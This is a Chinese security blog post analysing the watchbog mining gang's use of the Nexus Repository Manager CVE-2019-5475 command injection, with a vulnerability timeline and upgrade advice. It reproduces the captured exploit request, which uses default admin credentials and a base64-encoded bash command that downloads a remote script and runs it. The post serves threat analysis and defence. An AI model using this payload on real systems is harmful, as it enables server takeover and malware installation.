概要

近日,阿里云安全团队发现wacthbo挖矿团伙[1]新增了CVE_2019_5475 的漏洞利用代码,并开始进行尝试性攻击。
通过对CVE_2019_5475漏洞的生命周期进行分析后发现,漏洞批量化利用的速度正在提高,如果未能在黄金修补周期内对漏洞进行修补,将有可能很快遭遇蠕虫和恶意攻击程序的攻击。

阿里云目前已第一时间上线默认防御策略。

背景

阿里云安全团队9月6日捕获了一起新漏洞利用,通过对涉及应用和漏洞的分析,我们确认这是watchbog团伙的一次版本更新,此次版本更新引入了新的漏洞CVE_2019_5475作为攻击武器,利用该漏洞该蠕虫可以通过几个简单的 HTTP 请求即可达到入侵并控制机器的目的。

漏洞涉及的应用Nexus 是一个强大的仓库管理器,它可以用于简化内部仓库和外部仓库的访问,是常见的maven私服解决方案。但是Nexus Repository Manager 2.x Capabilities中存在默认的弱密码账号,在使用401登录认证后,即可通过createrepo或mergerepo配置实现远程命令注入,从而执行任意功能。

漏洞利用payload

CVE_2019_5475 的利用代码如下所示:

PUT /nexus/service/siesta/capabilities/00009df00fbcea95 HTTP/1.1
Content-Length: 472
Accept-Encoding: gzip, deflate
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5
Host: 39.106.194.166:8081
Content-Type: application/xml
Authorization: Basic YWRtaW46YWRtaW4xMjM= <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>mergerepoPath</key><value>bash -c {echo,KGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4fHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4KXxiYXNo}|{base64,-d}|{bash,-i}</value></properties></ns2:capability>

其中使用了401HTTP 认证,并且存在admin:admin123的弱密码,因此只要对createrepo或mergerepo这两个字段进行命令注入,即可完成攻击。

通过对比漏洞修复前后的相关代码,其主要修改集中在yum/internal/task/CommandLineExecutor.java  这个文件。

在原有逻辑中,将直接把用户提交的命令进行执行,而修复方案即是增加了一个过滤函数getCleanCommand。

该函数将判断即将执行命令的文件路径和是否处于白名单内,否则将拒绝执行。

CVE_2019_5475生命周期回顾

2019-07-23 白帽子上报漏洞
2019-08-09 漏洞概要公开,厂商更新版本
2019-08-21 漏洞细节和利用代码公开
2019-09-04 国内白帽子提交到seebug
2019-09-06 蠕虫出现在野利用

我们回顾了CVE_2019_5475的整个生命周期,发现其在出现可利用poc代码到蠕虫的大规模利用的时间间隔仅为10天左右。而原理类似的CVE-2018-11770(Hadoop yarn RESTAPI 未授权RCE),其出现可用poc到被蠕虫大规模利用的时间约110天。

如果用户没有在8月9日-8月21日这个黄金时间内对漏洞进行修补,则可能遭到定向攻击者的成功攻击。
而在9月6日后,存在漏洞并且还未修复的用户,面对僵尸网络不停的扫描,几乎没有侥幸逃过攻击的可能性。

漏洞生命周期

​​​​​​​

每个漏洞都有其自身的生命周期,随着横轴时间线的往后,其利用价值也将逐渐降低。
顺着图中的白色线条,一个漏洞将经历从产生、poc验证、厂商公告、发布补丁以及逐渐消亡的过程,而这个过程也与常说的0day、1day、Nday 阶段进行对应。

让我们顺着红线,从攻击者的视角来看:

  1. 挖掘出一个poc后,攻击者可能会进行部分黑客活动进行小范围尝试
  2. 小范围的尝试和以及黑客圈子内的传播将扩大该漏洞被发现的可能性
  3. 随着漏洞利用价值的降低,部分圈子的泄露,该漏洞的存在被大家所知,并被部分白帽子提交给厂商
  4. 厂商将根据收到的漏洞对漏洞进行评估和修补,并同时发布安全公告
  5. 黑客们通过安全公告、漏洞详情公告等信息获得线索,并发动手中资源进行挖掘或购买等各种手段获得漏洞利用的详情,并据此开发出相应的攻击代码,并应用在各种恶意代码中

通过以往攻击 case 的分析,我们发现最大的攻击危害通常发生在大规模的攻击利用中,即漏洞被恶意攻击进行大规模利用前。

如果能在第5步前完成漏洞修补或者在之前的几步中及早发现攻击者的攻击尝试,并针对漏洞及早的进行防御和通知厂商进行修补,将能极大的减小该漏洞所造成的损失。

而阿里云实时保护着中国40%的网站,在服务百万客户的环境下,阿里云安全团队有机会第一时间看到最多的攻击变种和最大的攻击规模,并第一时间提供安全防御策略,提供安全告警通知,帮助用户更好地应对此类恶意程序的威胁。

安全建议

针对本文提到的漏洞,阿里云平台已可默认拦截。但仍建议使用Nexus Repository Manager  2.14.14以下的用户,尽快升级到 version 2.14.14以免遭遇恶意程序的攻击。

REF:
[1] Nexus Repository Manager 3新漏洞已被用于挖矿木马传播,建议用户尽快修复 - 阿里云官方博客的个人空间 - OSCHINA
[2]HackerOne
[3]GitHub - ab1gale/phpcms-2008-CVE-2018-19127
[4]Comparing release-2.14.12-02...release-2.14.14-01 · sonatype/nexus-public · GitHub
[5]CVE-2019-5475 Nexus Repository Manager 2 - OS Command Injection - 2019-08-09 – Sonatype Support

本文作者:目明

原文链接

本文为云栖社区原创内容,未经允许不得转载。

watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击的更多相关文章

  1. 年中盘点 | 2022年,PaaS 再升级

    作者丨刘世民(Sammy Liu)全文共7741个字,预计阅读需要15分钟 过去十五年,是云计算从无到有突飞猛进的十五年.PaaS作为云计算的重要组成部分,在伴随着云计算高速发展的同时,在云计算产业链 ...

  2. P1832 A+B Problem(再升级)

    P1832 A+B Problem(再升级) 题目提供者 usqwedf 传送门 标签 动态规划 数论(数学相关) 洛谷原创 难度 普及/提高- 通过/提交 107/202 题目背景 ·题目名称是吸引 ...

  3. A+B Problem(再升级)

    洛谷P1832 A+B Problem(再升级) ·给定一个正整数n,求将其分解成若干个素数之和的方案总数. 先说我的垃圾思路,根本没有验证它的正确性就xjb写的,过了垃圾样例,还水了20分,笑哭.. ...

  4. 洛谷——P1832 A+B Problem(再升级)

    P1832 A+B Problem(再升级) 题目背景 ·题目名称是吸引你点进来的 ·实际上该题还是很水的 题目描述 ·1+1=? 显然是2 ·a+b=? 1001回看不谢 ·哥德巴赫猜想 似乎已呈泛 ...

  5. 洛谷P1832 A+B Problem(再升级) [2017年4月计划 动态规划03]

    P1832 A+B Problem(再升级) 题目背景 ·题目名称是吸引你点进来的 ·实际上该题还是很水的 题目描述 ·1+1=? 显然是2 ·a+b=? 1001回看不谢 ·哥德巴赫猜想 似乎已呈泛 ...

  6. NGK福利再升级,1万枚VAST限时免费送

    NGK在推出持有算力获得SPC空投活动后,福利再升级,于美国加州时间2021年2月8日下午4点推出新人福利活动,注册NGK成为新会员,即可获得0.2枚VAST奖励. VAST免费福利送活动仅送出1万枚 ...

  7. 新动能 · 新机遇:SaaS软件提供商 Zoho 25 周年战略再升级

    25年,在历史的长河中不过转眼一瞬:但是对于创造者来说,25年足以颠覆一个时代...... 作为世界级云应用服务商,Zoho已经走过了25年的砥砺岁月.从ManageEngine到Zoho云服务,从工 ...

  8. Cleanmymac X空间透镜再升级

    什么是空间镜透,在Cleanmymac X中具体干什么使得?你了解多少?没关系,不要紧,看这里,下面给大家分享一下这款好用软件下的实用功能-空间透镜.盘它! 首先,Cleanmymac X是一款Mac ...

  9. 天池平台再升级,打造产业AI知识共享、技术共享平台

    在5月23日的云栖大会·武汉峰会上,天池发布“全球AI开发者计划”,打造一站式人工智能知识共享平台,计划2年内在平台上集聚30万AI工程师.同时,阿里云天池正式升级,成为从产业机会到实施交付一站式解决 ...

随机推荐

  1. Aliyun 安装NPM 总是3.5.2 解决方案

    由于默认的命令 阿里云安装的 Node 是 8.x 版本 导致NPM 一直安装的都是 3.5.2 版本,死活升级不上去 最后手动安装指定版本解决 wget -qO- https://deb.nodes ...

  2. (转)python之函数介绍及使用

    为什么要用函数? 1.减少代码量 2.保持一致性 3.易维护 一.函数的定义和使用 ? 1 2 3 4 5 6 def test(参数):              ...     函数体     . ...

  3. LeetCode刷题笔记-回溯法-组合总和问题

    题目描述: <组合总和问题>给定一个无重复元素的数组 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合. cand ...

  4. C++之运算符_算数运算符

    运算符 **作用:**用于执行代码的运算 | **运算符类型** | **作用** || -------------- | -------------------------------------- ...

  5. 【转】Java程序CPU飙升问题排查方法

    windows环境下cpu飙升问题 线上某台runtime机器(windows Server)cpu报警,这种情况初步就是代码里面死循环了,先把机器下线了保证不再有新的任务分配进来,然而cpu使用依然 ...

  6. DLL和OCX注册

    在注册DLL或者OCX的方法应该使用regsvr32.exe,使用得多了一定会觉得在cmd运行中写一长串东西很烦人吧!这里向大家介绍一种麻烦一次方便一生的方法.这个方法只要右击你想注册或者反注册的DL ...

  7. MySQL 07章_子查询

    子查询就是查询中还可以嵌套其他的查询,通常是内层查询的结果作为外层查询的条件来使用 执行循序,自内向外依次执行 一.内层查询返回“单列单行”的结果 -- 1.查询宋江的出生日期 SELECT TIME ...

  8. Shell 学习(二)

    目录 Shell 学习(二) 1 设置环境变量 1.1 基本语法 1.2 实践 2 位置参数变量 2.1 介绍 2.2 基本语法 2.3 位置参数变量应用实例 3 预定义变量 3.1 基本介绍 3.2 ...

  9. redis笔记_源码_字典dict

    参考:https://redissrc.readthedocs.io/en/latest/datastruct/dict.html Expand: 条件: 新的table 大小: Rehash: 条件 ...

  10. mysql 监控及优化——转载自http://www.cnblogs.com/suansuan/

    1.Mysql连接数 Mysql默认最大连接数为100. 设置Mysql的最大连接数,在Mysql的配置文件中增加: max_connections = 1000   #Mysql的最大连接数,默认如 ...